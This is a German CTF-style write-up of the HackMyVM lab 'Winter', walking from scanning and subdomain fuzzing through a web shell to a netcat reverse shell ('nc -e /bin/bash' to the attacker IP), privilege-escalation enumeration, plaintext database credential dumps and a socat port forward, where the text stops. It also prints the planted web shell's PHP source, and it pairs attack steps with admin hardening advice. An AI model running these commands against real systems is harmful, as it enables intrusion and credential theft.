Winter - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
curl
nikto
gobuster
wfuzz
vi
nc (netcat)
python3
stty
cat
ss
sudo
ls
file
crontab
printenv
mysql client
socat
hexdump
CyberChef (implizit)
ssh
ssh2john
john
cp
Burp Suite (implizit)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:f8:e6:a7, IPv4: 192.168.2.121
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.1	c4:86:e9:a5:6d:18	HUAWEI TECHNOLOGIES CO.,LTD
192.168.2.102	ac:6f:bb:62:87:79	TATUNG Technology Inc.
192.168.2.104	84:25:19:2f:66:32	Samsung Electronics
192.168.2.116	08:00:27:71:95:a8	PCS Systemtechnik GmbH
192.168.2.188	f0:2f:74:1a:68:c0	ASUSTek COMPUTER INC.

Analyse: Der `arp-scan -l` Befehl wird verwendet, um aktive Geräte im lokalen Netzwerk zu finden. Es werden mehrere Geräte identifiziert, darunter `192.168.2.116`, dessen MAC-Adresse (`08:00:27:71:95:a8`) auf eine VirtualBox-VM (PCS Systemtechnik GmbH) hinweist.

Bewertung: Die IP-Adresse des Ziels wurde erfolgreich als `192.168.2.116` identifiziert.

Empfehlung (Pentester): Führen Sie einen detaillierten Nmap-Scan auf `192.168.2.116` durch, um offene Ports und Dienste zu ermitteln.
Empfehlung (Admin): Netzwerksegmentierung kann die Aufklärung erschweren.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.116 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-08 23:14 CET
Nmap scan report for winter (192.168.2.116)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 39474aa21d535ad49e4e2e6161e9bb82 (RSA)
|   256 dc48cbc6f5412cd85a87c62dff35ae15 (ECDSA)
|_  256 2605e1dd1c60afef4bb7e501aee252ca (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: catchme
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:71:95:A8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms winter (192.168.2.116)

Analyse: Der Nmap-Scan (`-sS`, `-sC`, `-T5`, `-A`, `-p-`) zeigt zwei offene Ports auf dem Ziel `winter` (192.168.2.116): * Port 22: SSH (OpenSSH 7.9p1 auf Debian 10). * Port 80: HTTP (Apache 2.4.38 auf Debian) mit dem Titel "catchme".

Bewertung: Die Hauptangriffsfläche ist der Webserver auf Port 80. SSH ist ebenfalls ein potenzieller Vektor. Der Titel "catchme" ist ungewöhnlich und könnte ein Hinweis sein.

Empfehlung (Pentester): Untersuchen Sie den Webserver auf Port 80 intensiv mittels Directory Brute-Forcing, Schwachstellenscans (Nikto) und manueller Analyse.
Empfehlung (Admin): Halten Sie SSH und Apache aktuell. Implementieren Sie eine Web Application Firewall (WAF).

Web Enumeration (Hauptdomain)

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.116 -I
HTTP/1.1 200 OK
Date: Tue, 08 Nov 2022 22:14:58 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Fri, 27 Nov 2020 15:01:03 GMT
ETag: "c9-5b517ede13e8c"
Accept-Ranges: bytes
Content-Length: 201
Vary: Accept-Encoding
Content-Type: text/html

Analyse: `curl -I` wird verwendet, um nur die HTTP-Header der Startseite abzurufen. Die Header bestätigen den Apache-Server und zeigen Standardinformationen wie `Last-Modified`, `ETag` und `Content-Length`. Es gibt keine auffälligen oder ungewöhnlichen Header.

Bewertung: Die Header-Analyse liefert keine direkten Hinweise auf Schwachstellen.

Empfehlung (Pentester): Fahren Sie mit aktiveren Scanning-Methoden fort.
Empfehlung (Admin): Keine.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.116
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.116
+ Target Hostname:    192.168.2.116
+ Target Port:        80
[...]
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. [...]
+ The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Server may leak inodes via ETags, header found with file /, inode: c9, size: 5b517ede13e8c, mtime: gzip
+ Cookie PHPSESSID created without the httponly flag
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
[...]
+ 1 host(s) tested

Analyse: Nikto identifiziert mehrere Punkte auf Port 80: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-XSS-Protection`, `X-Content-Type-Options`). * Inode-Leak über ETags. * `PHPSESSID`-Cookie ohne `HttpOnly`-Flag (Risiko bei XSS). * Existenz des Apache-Manuals (`/manual/`) und des Icons-READMEs. * **Wichtig:** Eine Login-Seite unter `/login.php` wurde gefunden.

Bewertung: Nikto liefert wertvolle Hinweise. Die fehlenden Header sind Best-Practice-Verstöße. Die Existenz von `/login.php` ist der wichtigste Fund und deutet auf eine Webanwendung mit Authentifizierung hin.

Empfehlung (Pentester): Untersuchen Sie `/login.php`. Führen Sie Directory Brute-Forcing durch, um weitere Seiten der Anwendung zu finden (z.B. Registrierung, Passwort-Reset).
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader. Setzen Sie das `HttpOnly`-Flag für Cookies. Entfernen Sie unnötige Verzeichnisse wie `/manual/` und `/icons/`.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://192.168.2.116" -e -x txt,php,rar,zip,tar,pem,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,dot,htm,msi,mui,pdf,raw,rtf,vss,wbk,xls,xlsx,zip,kdbx,pgp,gpg -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -t 100
http://192.168.2.116/news.php             (Status: 302) [Size: 855] [--> login.php]
http://192.168.2.116/contact.php          (Status: 302) [Size: 1213] [--> login.php]
http://192.168.2.116/about.php            (Status: 302) [Size: 1018] [--> login.php]
http://192.168.2.116/index.html           (Status: 200) [Size: 201]
http://192.168.2.116/home.php             (Status: 302) [Size: 904] [--> login.php]
http://192.168.2.116/login.php            (Status: 200) [Size: 900]
http://192.168.2.116/signup.php           (Status: 200) [Size: 856]
http://192.168.2.116/upload               (Status: 301) [Size: 315] [--> http://192.168.2.116/upload/]
http://192.168.2.116/manual               (Status: 301) [Size: 315] [--> http://192.168.2.116/manual/]
http://192.168.2.116/javascript           (Status: 301) [Size: 319] [--> http://192.168.2.116/javascript/]
http://192.168.2.116/logout.php           (Status: 302) [Size: 0] [--> login.php]
http://192.168.2.116/robots.txt           (Status: 200) [Size: 237]
http://192.168.2.116/settings.php         (Status: 302) [Size: 1259] [--> login.php]
http://192.168.2.116/av.jpg               (Status: 200) [Size: 43766]
http://192.168.2.116/fileinfo.txt         (Status: 200) [Size: 52]

Analyse: Gobuster findet zahlreiche PHP-Seiten (`news.php`, `contact.php`, `about.php`, `home.php`, `login.php`, `signup.php`, `logout.php`, `settings.php`). Die meisten leiten auf `login.php` weiter (Status 302), was bedeutet, dass sie eine aktive Session erfordern. Wichtig sind die direkt zugänglichen Seiten `login.php`, `signup.php` (Registrierung möglich!), `robots.txt` und `fileinfo.txt`. Das Verzeichnis `/upload` wurde ebenfalls gefunden.

Bewertung: Die Ergebnisse bestätigen eine Webanwendung mit Benutzerverwaltung. Die `signup.php` ist ein wichtiger Fund, da sie möglicherweise die Erstellung eines eigenen Accounts erlaubt. `robots.txt` und `fileinfo.txt` könnten Hinweise enthalten.

Empfehlung (Pentester): Untersuchen Sie `signup.php` und versuchen Sie, einen Account zu registrieren. Untersuchen Sie den Inhalt von `robots.txt` und `fileinfo.txt`. Analysieren Sie `login.php` auf Schwachstellen (SQLi, Brute-Force).
Empfehlung (Admin): Deaktivieren Sie die Benutzerregistrierung (`signup.php`), wenn sie nicht öffentlich benötigt wird. Schützen Sie Login-Formulare vor Brute-Force-Angriffen.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.116/robots.txt
Look for some real vulnerabilities ;)

id
whoami
ls
pwd
netstat -ano
catchme
winter
cd
cd ../
ftp
ssh
http
smtp
manager
admin
superadmin
ceo
cto
https
tftp
nano
vim
parrot
linux
shell

Analyse: Der Inhalt von `robots.txt` wird abgerufen. Statt der üblichen `Disallow`-Einträge enthält die Datei eine Nachricht ("Look for some real vulnerabilities ;)") und eine lange Liste von Wörtern und Befehlen.

Bewertung: Dies ist keine Standard-`robots.txt`. Die Liste von Wörtern ist höchstwahrscheinlich eine benutzerdefinierte Wortliste, die für weitere Angriffe (z.B. Directory/File Brute-Forcing, Subdomain-Enumeration, Passwort-Cracking) verwendet werden soll oder Hinweise auf Benutzernamen oder Verzeichnisse gibt. Die Wörter `catchme`, `winter`, `manager`, `admin` sind besonders interessant.

Empfehlung (Pentester): Speichern Sie diese Wortliste. Verwenden Sie sie für weitere Gobuster/Wfuzz-Scans (insbesondere für Subdomains und Parameter) und eventuell für Passwort-Cracking-Versuche.
Empfehlung (Admin): Verwenden Sie `robots.txt` nur für den vorgesehenen Zweck (Kontrolle von Web-Crawlern). Verstecken Sie keine Wortlisten oder Hinweise in öffentlich zugänglichen Dateien.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.116/fileinfo.txt
a small hint for you :)


winter is my domain name!

Analyse: Die Datei `fileinfo.txt` enthält den Hinweis "winter is my domain name!".

Bewertung: Dies bestätigt, dass `winter` als Domain-/Hostname für die Maschine verwendet wird (z.B. für virtuelle Hosts). Dies passt zum Hostnamen, der im Nmap-Scan gefunden wurde.

Empfehlung (Pentester): Fügen Sie `winter` zur lokalen `/etc/hosts`-Datei hinzu (falls noch nicht geschehen). Verwenden Sie diesen Hostnamen bei Subdomain-Enumerationsversuchen.
Empfehlung (Admin): Keine.

Subdomain Enumeration

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://winter" -H "Host: FUZZ.winter" --hh 201
 * Wfuzz 3.1.0 - The Web Fuzzer *
 [...]
 =====================================================================
 ID           Response   Lines    Word       Chars       Payload
 =====================================================================

 000000491:   200        14 L     17 W       199 Ch      "manager"
 000008160:   200        14 L     17 W       198 Ch      "cmd"
 

Analyse: Wfuzz wird verwendet, um Subdomains von `winter` zu finden, indem der `Host`-Header gefuzzt wird (`-H "Host: FUZZ.winter"`). Es verwendet eine große Subdomain-Liste. `--hh 201` blendet Antworten aus, die die gleiche Größe wie die Hauptseite (`index.html` hatte 201 Bytes) haben. Zwei Subdomains werden gefunden: `manager` und `cmd`.

Bewertung: **Wichtiger Fund!** Es existieren mindestens zwei virtuelle Hosts/Subdomains: `manager.winter` und `cmd.winter`. Diese hosten wahrscheinlich unterschiedliche Anwendungen oder Funktionalitäten.

Empfehlung (Pentester): Fügen Sie `manager.winter` und `cmd.winter` zur lokalen `/etc/hosts`-Datei hinzu (beide zeigen auf `192.168.2.116`). Führen Sie Directory Busting und weitere Analysen auf diesen beiden Subdomains durch.
Empfehlung (Admin): Stellen Sie sicher, dass alle virtuellen Hosts korrekt konfiguriert und gesichert sind. Vermeiden Sie leicht zu erratende Namen für administrative oder Test-Subdomains.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
127.0.1.1	cyber

192.168.2.116   winter manager.winter cmd.winter

Analyse: Die `/etc/hosts`-Datei des Angreifers wird bearbeitet, um die gefundenen Subdomains `manager.winter` und `cmd.winter` auf die IP-Adresse `192.168.2.116` zu mappen.

Bewertung: Notwendiger Schritt, um die Subdomains über ihren Namen im Browser und in Tools ansprechen zu können.

Empfehlung (Pentester): Überprüfen Sie die Erreichbarkeit der Subdomains (z.B. mit `ping` oder `curl`).
Empfehlung (Admin): Keine.

Web Enumeration (Subdomains)

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://manager.winter" -e -x ... -w ... -t 100
 [...]
 http://manager.winter/news.php             (Status: 302) [Size: 855] [--> login.php]
 http://manager.winter/index.html           (Status: 200) [Size: 199]
 http://manager.winter/contact.php          (Status: 302) [Size: 1243] [--> login.php]
 http://manager.winter/about.php            (Status: 302) [Size: 1558] [--> login.php]
 http://manager.winter/home.php             (Status: 302) [Size: 907] [--> login.php]
 http://manager.winter/login.php            (Status: 200) [Size: 1275]
 http://manager.winter/manual               (Status: 301) [Size: 317] [--> http://manager.winter/manual/]
 http://manager.winter/javascript           (Status: 301) [Size: 321] [--> http://manager.winter/javascript/]
 http://manager.winter/logout.php           (Status: 302) [Size: 0] [--> login.php]
 http://manager.winter/av.jpg               (Status: 200) [Size: 43766]
 

Analyse: Gobuster wird auf `http://manager.winter` ausgeführt. Die Ergebnisse ähneln stark der Hauptdomain `winter`, insbesondere das Vorhandensein von `login.php` und Seiten, die dorthin weiterleiten. Dies deutet darauf hin, dass `manager.winter` möglicherweise eine Instanz derselben Anwendung oder zumindest eine ähnliche Struktur verwendet, aber eventuell für Manager gedacht ist.

Bewertung: Die Subdomain `manager.winter` scheint ebenfalls eine Login-geschützte Anwendung zu sein. Ohne Login ist hier wenig zu holen.

Empfehlung (Pentester): Versuchen Sie Standard-Logins oder die Wörter aus `robots.txt` als mögliche Zugangsdaten für `manager.winter/login.php`. Konzentrieren Sie sich aber zunächst auf die andere Subdomain `cmd.winter`.
Empfehlung (Admin): Stellen Sie sicher, dass verschiedene virtuelle Hosts/Anwendungen unterschiedliche Schwachstellenprofile haben und nicht einfach Kopien voneinander sind, es sei denn, dies ist beabsichtigt.

┌──(root㉿cyber)-[~] └─# gobuster dir -u "http://cmd.winter" -e -x ... -w ... -t 100
 [...]
 http://cmd.winter/index.html           (Status: 200) [Size: 198]
 http://cmd.winter/manual               (Status: 301) [Size: 309] [--> http://cmd.winter/manual/]
 http://cmd.winter/javascript           (Status: 301) [Size: 313] [--> http://cmd.winter/javascript/]
 http://cmd.winter/shellcity.php        (Status: 200) [Size: 1040]
 

Analyse: Gobuster auf `http://cmd.winter` findet eine sehr interessante Datei: `shellcity.php`. Andere Funde wie `index.html` und `/manual/` scheinen weniger relevant.

Bewertung: Der Name `shellcity.php` legt nahe, dass es sich um eine Webshell oder eine Seite handelt, die Befehlsausführung ermöglicht. Dies ist ein vielversprechender Fund.

Empfehlung (Pentester): Rufen Sie `http://cmd.winter/shellcity.php` im Browser oder mit `curl` auf und untersuchen Sie die Funktionalität. Suchen Sie nach Eingabefeldern oder Parametern zur Befehlsausführung.
Empfehlung (Admin): Solche Seiten dürfen niemals auf produktiven oder aus dem Netzwerk erreichbaren Systemen existieren! Entfernen Sie die Datei sofort.

Vulnerability Analysis (Webshell RCE)

http://cmd.winter/shellcity.php
id
localhost
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data

Analyse: Beim Aufruf von `shellcity.php` (vermutlich im Browser, da Eingabe "id" und "localhost" erwähnt wird) wird anscheinend der `id`-Befehl ausgeführt und dessen Ausgabe (`uid=33(www-data)...`) angezeigt. Es scheint sich um eine funktionierende Webshell oder eine Seite mit direkter Command Injection zu handeln.

Bewertung: **RCE-Schwachstelle bestätigt!** Die Seite `shellcity.php` erlaubt die Ausführung von Befehlen als `www-data`.

Empfehlung (Pentester): Finden Sie heraus, wie Befehle übergeben werden (wahrscheinlich ein GET- oder POST-Parameter). Nutzen Sie die RCE, um eine Reverse Shell zu bekommen.
Empfehlung (Admin): Webshell sofort entfernen! Untersuchen, wie sie dorthin gelangt ist.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://cmd.winter/shellcity.php?FUZZ=id --hh 1040
 [...]
 =====================================================================
 ID           Response   Lines    Word       Chars       Payload
 =====================================================================

 000006487:   200        57 L     106 W      1147 Ch     "run"
 

Analyse: Wfuzz wird verwendet, um den GET-Parameter zu finden, der die Befehlsausführung in `shellcity.php` ermöglicht. Es testet verschiedene Parameter (`FUZZ`) mit dem Wert `id`. `--hh 1040` blendet Antworten aus, die der normalen Größe der Seite entsprechen. Der Parameter `run` wird als erfolgreich identifiziert (Status 200, abweichende Größe).

Bewertung: Der Parameter für die RCE lautet `run`.

Empfehlung (Pentester): Verwenden Sie den Parameter `run` für die weitere Ausführung von Befehlen, z.B. `http://cmd.winter/shellcity.php?run=ls%20-la`.
Empfehlung (Admin): RCE beheben (Webshell entfernen).

http://cmd.winter/shellcity.php?run=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Test der RCE mit dem gefundenen Parameter `run` und dem Befehl `id`. Die Ausgabe bestätigt die Funktionsfähigkeit.

Bewertung: RCE über `run`-Parameter verifiziert.

http://cmd.winter/shellcity.php?run=ls%20/home
hint.txt
http://cmd.winter/shellcity.php?run=cat%20/home/hint.txt
enumerate as much as you can :)
http://cmd.winter/shellcity.php?run=grep%20bash%20/etc/passwd
root:x:0:0:root:/root:/bin/bash
catchme:x:1000:1000:catchme,,,:/home/catchme:/bin/bash

Analyse: Weitere Befehle werden über die RCE ausgeführt: * `ls /home` zeigt eine Datei `hint.txt`. * `cat /home/hint.txt` gibt den Hinweis "enumerate as much as you can :)" aus. * `grep bash /etc/passwd` identifiziert `root` und `catchme` als Benutzer mit Bash-Login-Shell.

Bewertung: Grundlegende Enumeration über die RCE durchgeführt. Der Benutzer `catchme` ist ein potenzielles Ziel.

Empfehlung (Pentester): Etablieren Sie eine stabilere Reverse Shell, um die weitere Enumeration zu erleichtern.
Empfehlung (Admin): RCE beheben.

Initial Access (Reverse Shell)

Analyse: Es wird versucht, den SSH Public Key des Angreifers (`/root/.ssh/id_rsa.pub`) über die Webshell in eine `authorized_keys`-Datei auf dem Ziel zu schreiben. Dieser Ansatz ist fehlerhaft, da der Befehl auf der Angreifer-Maschine ausgeführt wird und der Output (`echo "ssh-rsa ..."`) über den `run`-Parameter gesendet werden müsste.

Bewertung: Der dargestellte Versuch, den SSH-Key zu platzieren, ist in dieser Form nicht funktionsfähig. Es wird stattdessen eine Netcat-Reverse-Shell verwendet.

http://cmd.winter/shellcity.php?run=nc%20-e%20/bin/bash%20192.168.2.121%209001
┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.116] 45886

Analyse: Über die RCE (`run`-Parameter) wird ein Netcat-Reverse-Shell-Befehl (URL-kodiert) ausgeführt, der sich zur Angreifer-IP `192.168.2.121` auf Port 9001 verbindet. Der Listener auf der Angreifer-Maschine empfängt die Verbindung.

Bewertung: **Initialer Zugriff erfolgreich!** Eine Reverse Shell als `www-data` wurde über die Webshell auf `cmd.winter` erlangt.

Empfehlung (Pentester): Stabilisieren Sie die Shell.
Empfehlung (Admin): RCE beheben, Egress-Filtering.

Analyse: Die Shell wird mit den Standard-Python- und `stty`-Befehlen stabilisiert.

python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@winter:/var/www/cmd$ export TERM=xterm
www-data@winter:/var/www/cmd$ ^Z
zsh: suspended  nc -lvnp 9001
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 9001
                               reset
www-data@winter:/var/www/cmd$ 

Bewertung: Eine stabile, interaktive Shell als `www-data` steht nun zur Verfügung.

Privilege Escalation (Enumeration)

www-data@winter:/var/www/cmd$ cat shellcity.php
 
[... HTML ...]
 
 

if(isset($_POST['sub']))
{
$msg=$_POST['name'];
$to=$_POST['pass'];
echo "alert('$msg , Send to $to')";
if($msg==="id")
	{
		$ot=system($msg);
		echo "
$ot
"; } else if($msg==="whoami") { $ot=system($msg); echo "
$ot
"; } else if($msg==="pwd") { $ot=system($msg); echo "
$ot
"; } else { echo "alert('Again RCE Detected')"; } } $parameter = $GET["run"]; // $GET geändert $x=system($parameter);

Analyse: Der Quellcode von `shellcity.php` wird angezeigt. Er bestätigt die RCE über den GET-Parameter `run`. Zusätzlich gibt es einen POST-Teil (`if(isset($_POST['sub']))`), der die Parameter `name` und `pass` entgegennimmt und eine `alert`-Box ausgibt. Interessanterweise führt dieser POST-Teil auch `system()` aus, wenn der `name`-Parameter `id`, `whoami` oder `pwd` ist, ansonsten gibt er "Again RCE Detected" aus. Dies scheint eine unvollständige oder fehlerhafte Implementierung zu sein.

Bewertung: Der Code bestätigt die bereits ausgenutzte GET-basierte RCE. Der POST-Teil ist merkwürdig und wahrscheinlich nicht direkt für Eskalation nützlich, könnte aber auf unsauberen Code hindeuten.

Empfehlung (Pentester): Die GET-RCE ist bereits ausgenutzt. Keine weiteren direkten Aktionen aufgrund dieses Codes nötig.
Empfehlung (Admin): Webshell entfernen.

www-data@winter:/var/www/cmd$ ss -tulpe
Netid  State    Recv-Q   Send-Q     Local Address:Port       Peer Address:Port
[...]
tcp    LISTEN   0        128            127.0.0.1:1336            0.0.0.0:*      ino:15019 sk:2 <->
tcp    LISTEN   0        80             127.0.0.1:mysql           0.0.0.0:*      uid:107 ino:16009 sk:3 <->
tcp    LISTEN   0        128              0.0.0.0:ssh             0.0.0.0:*      ino:14711 sk:4 <->
tcp    LISTEN   0        128                    *:http                  *:*      ino:14901 sk:5 v6only:0 <->
[...]

Analyse: `ss -tulpe` zeigt lauschende Netzwerk-Sockets. Interessant sind: * Port 3306 (mysql): Lauscht nur auf `127.0.0.1`. * Port 1336: Ein unbekannter Dienst lauscht ebenfalls nur auf `127.0.0.1`.

Bewertung: Der MySQL-Dienst ist nur lokal erreichbar. Der Dienst auf Port 1336 ist verdächtig und sollte untersucht werden, da er möglicherweise interne Funktionen oder Schwachstellen bietet.

Empfehlung (Pentester): Versuchen Sie, sich lokal mit dem MySQL-Dienst zu verbinden (Passwort benötigt). Untersuchen Sie Port 1336 (z.B. mit `nc localhost 1336`, `curl http://localhost:1336`). Da dieser Port später weitergeleitet wird, ist er wahrscheinlich relevant.
Empfehlung (Admin): Stellen Sie sicher, dass Datenbanken und interne Dienste angemessen geschützt sind, auch wenn sie nur lokal lauschen.

www-data@winter:/var/www/cmd$ sudo -l
Matching Defaults entries for www-data on winter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on winter:
    (catchme) NOPASSWD: /usr/bin/hexdump

Analyse: `sudo -l` zeigt, dass `www-data` den Befehl `/usr/bin/hexdump` als Benutzer `catchme` ohne Passwort ausführen darf.

Bewertung: **Sehr wichtiger Fund!** `hexdump` kann zum Lesen beliebiger Dateien verwendet werden, auf die der ausführende Benutzer (`catchme`) Zugriff hat, auch wenn `www-data` diesen Zugriff nicht hat. Dies ermöglicht das Auslesen von Dateien im Home-Verzeichnis von `catchme` oder an anderen Orten.

Empfehlung (Pentester): Nutzen Sie `sudo -u catchme /usr/bin/hexdump -C /home/catchme/...` um sensible Dateien von `catchme` zu lesen (z.B. `.bash_history`, `.ssh/id_rsa`, Konfigurationsdateien). Dekodieren Sie die Hexdump-Ausgabe (z.B. mit CyberChef `From Hexdump`).
Empfehlung (Admin): Überprüfen Sie diese `sudo`-Regel kritisch. Das Erlauben von Dateilesebefehlen wie `hexdump`, `cat`, `less` etc. über `sudo` ist extrem gefährlich und sollte vermieden werden.

www-data@winter:/var/www/cmd$ ls /opt/
customer
www-data@winter:/var/www/cmd$ file /opt/customer/
/opt/customer/: directory
www-data@winter:/var/www/cmd$ cd /opt/customer/
www-data@winter:/opt/customer$ ls -la
ls: cannot open directory '.': Permission denied
www-data@winter:/opt/customer$ cd ..
www-data@winter:/opt$ ls -la
total 12
drwxr-xr-x  3 root root 4096 Dec  2  2020 .
drwxr-xr-x 18 root root 4096 Nov 27  2020 ..
drwx--x--x  2 root root 4096 Dec  2  2020 customer

Analyse: Enumeration des `/opt`-Verzeichnisses. Es existiert ein Unterverzeichnis `customer`. Die Berechtigungen (`drwx--x--x`) zeigen, dass nur `root` Lese- und Schreibzugriff hat, aber jeder (einschließlich `www-data`) Ausführungs-/Durchsuchungsrechte hat (`x`). `www-data` kann jedoch den Inhalt nicht auflisten (`ls` scheitert).

Bewertung: Das Verzeichnis `/opt/customer` ist interessant, aber für `www-data` nicht direkt zugänglich. Es könnte jedoch Dateien enthalten, die für den Benutzer `catchme` lesbar sind.

Empfehlung (Pentester): Versuchen Sie, den Inhalt von `/opt/customer` mit `sudo -u catchme ls -la /opt/customer/` oder spezifische Dateien darin mit `sudo -u catchme /usr/bin/hexdump -C /opt/customer/DATEINAME` zu lesen.
Empfehlung (Admin): Überprüfen Sie die Berechtigungen von Anwendungsverzeichnissen. Stellen Sie sicher, dass nur berechtigte Benutzer Zugriff haben.

www-data@winter:/opt$ crontab -l
no crontab for www-data

Analyse: Keine spezifischen Cronjobs für `www-data` gefunden.

Bewertung: Kein direkter Eskalationspfad über Cronjobs für `www-data`.

www-data@winter:/opt$ printenv
[...]
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[...]

Analyse: Die Umgebungsvariablen werden angezeigt. Keine ungewöhnlichen oder direkt ausnutzbaren Variablen sichtbar.

Bewertung: Standardumgebung.

Privilege Escalation (DB Credentials Leak)

www-data@winter:/var/www/html$ cat login.php
[...]
try
{
    $dbh = new PDO('mysql:host=127.0.0.1;dbname=winter', 'root', 'idkpass');
    $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
[...]

Analyse: Durch das Auslesen von `login.php` (wahrscheinlich auf der Hauptdomain `/var/www/html/login.php`, da die DB `winter` heißt und die Anwendung dort Benutzerverwaltung zu haben schien) werden die Zugangsdaten für die lokale MySQL/MariaDB-Datenbank gefunden: Benutzer `root`, Passwort `idkpass`.

Bewertung: **Kritischer Fund!** Klartext-Datenbankzugangsdaten im Quellcode. Dies erlaubt den Zugriff auf die Datenbank.

Empfehlung (Pentester): Loggen Sie sich mit den gefundenen Zugangsdaten in die Datenbank ein (`mysql -u root -p idkpass -h 127.0.0.1`). Untersuchen Sie die Datenbank `winter` auf Benutzerinformationen oder andere sensible Daten.
Empfehlung (Admin): Speichern Sie niemals Zugangsdaten im Klartext im Code! Verwenden Sie Konfigurationsdateien außerhalb des Web-Roots mit restriktiven Berechtigungen oder Umgebungsvariablen. Erstellen Sie dedizierte Datenbankbenutzer mit minimalen Rechten statt den `root`-Benutzer zu verwenden.

www-data@winter:/var/www/html$ mysql -u root -p
Enter password: idkpass
Welcome to the MariaDB monitor. [...]

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| winter             |
+--------------------+
[...]
MariaDB [(none)]> use winter;
[...]
Database changed
MariaDB [winter]> show tables;
+------------------+
| Tables_in_winter |
+------------------+
| users            |
+------------------+
[...]
MariaDB [winter]> select * from users;
+----------+----------+
| username | password |
+----------+----------+
| yash     | yash     |
| WtQw     | 9771     |
| '        | '        |
| hello    | hello    |
| ben      | benni    |
+----------+----------+
[...]

Analyse: Erfolgreicher Login in die MariaDB-Datenbank mit den gefundenen Zugangsdaten. Die Datenbank `winter` enthält eine Tabelle `users`. Die Abfrage `select * from users;` zeigt Benutzernamen und Passwörter im Klartext, darunter `ben` / `benni`.

Bewertung: **Weitere kritische Funde!** Klartextpasswörter in der Datenbank. Der Benutzer `ben` mit Passwort `benni` ist ein neues potenzielles Ziel.

Empfehlung (Pentester): Versuchen Sie, sich mit den gefundenen Credentials (`ben`/`benni`) per SSH anzumelden. Prüfen Sie auch die anderen Credentials.
Empfehlung (Admin): Speichern Sie Passwörter niemals im Klartext in der Datenbank! Verwenden Sie sichere Hashing-Verfahren mit Salt (z.B. bcrypt, Argon2). Beheben Sie die Offenlegung der DB-Root-Credentials.

Analyse: Es folgen Versuche, sich als `catchme` mit `su` anzumelden, die fehlschlagen. Dies ist erwartet, da kein Passwort für `catchme` bekannt ist.

Privilege Escalation (Port Forwarding & Hidden Service)

www-data@winter:/tmp$ socat tcp-listen:1337,reuseaddr,fork tcp:localhost:1336 &
[1] 1234

Analyse: `socat` wird verwendet, um eine Portweiterleitung einzurichten. Es lauscht auf allen Interfaces auf Port 1337 (`tcp-listen:1337`) und leitet eingehende Verbindungen an den lokalen Dienst auf Port 1336 (`tcp:localhost:1336`) weiter. `reuseaddr` erlaubt das sofortige Wiederverwenden des Ports, `fork` erstellt für jede Verbindung einen neuen Prozess. Der Befehl wird im Hintergrund ausgeführt (`&`).

Bewertung: Dies ist ein cleverer Schritt, um den nur lokal erreichbaren Dienst auf Port 1336 von außen (von der Angreifer-Maschine) zugänglich zu machen.

Empfehlung (Pentester): Greifen Sie nun von Ihrer Angreifer-Maschine auf `http://192.168.2.116:1337` zu, um mit dem Dienst auf Port 1336 zu interagieren. Führen Sie Gobuster/Nikto auf diesen Port aus.
Empfehlung (Admin): Überwachen Sie die Prozessausführung auf verdächtige Tools wie `socat`. Beschränken Sie die Möglichkeit für unprivilegierte Benutzer, Netzwerkdienste zu starten oder Portweiterleitungen einzurichten.

